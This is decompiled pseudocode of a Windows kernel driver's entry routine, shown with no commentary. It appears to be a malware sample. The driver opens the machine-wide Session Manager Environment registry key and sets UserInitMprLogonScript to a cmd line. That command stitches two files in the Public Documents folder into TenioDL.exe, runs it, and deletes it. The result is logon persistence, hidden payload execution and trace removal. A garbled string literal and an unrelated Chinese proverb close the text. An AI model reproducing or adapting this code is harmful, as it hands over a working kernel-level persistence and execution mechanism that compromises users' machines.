NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
NTSTATUS v2; // eax
const WCHAR *v3; // rdx
struct _UNICODE_STRING DisplayString; // [rsp+30h] [rbp-19h] BYREF
struct _UNICODE_STRING Data; // [rsp+40h] [rbp-9h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp+7h] BYREF
struct _UNICODE_STRING ValueName; // [rsp+60h] [rbp+17h] BYREF
struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+70h] [rbp+27h] BYREF
void *KeyHandle; // [rsp+B0h] [rbp+67h] BYREF
*(&ObjectAttributes.Length + 1) = 0;
*(&ObjectAttributes.Attributes + 1) = 0;
KeyHandle = 0i64;
DestinationString = 0i64;
ValueName = 0i64;
Data = 0i64;
DisplayString = 0i64;
RtlInitUnicodeString(
&DestinationString,
L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment");
RtlInitUnicodeString(&ValueName, L"UserInitMprLogonScript");
RtlInitUnicodeString(
&Data,
L"cmd /c copy /b \"C:\\Users\\Public\\Documents\\1.j\" + \"C:\\Users\\Public\\Documents\\2.j\" \"C:\\Users\\Public\\Do"
"cuments\\TenioDL.exe\" && start \"\" \"C:\\Users\\Public\\Documents\\TenioDL.exe\" && timeout /t 2 && del /f /q \"C"
":\\Users\\Public\\Documents\\TenioDL.exe\"");
ObjectAttributes.Length = 48;
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.RootDirectory = 0i64;
ObjectAttributes.Attributes = 64;
*(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0i64;
if ( NtOpenKey(&KeyHandle, 2u, &ObjectAttributes) < 0 )
{
RtlInitUnicodeString(&DisplayString, "鄀誰Sb");
}
else
{
v2 = NtSetValueKey(KeyHandle, &ValueName, 0, 1u, Data.Buffer, Data.Length);
v3 = (const WCHAR *)&unk_1400022E8;
if ( v2 < 0 )
v3 = &word_140002300;
RtlInitUnicodeString(&DisplayString, v3);
NtClose(KeyHandle);
}
return NtDisplayString(&DisplayString);
}
贪根不除,腐树常在。 |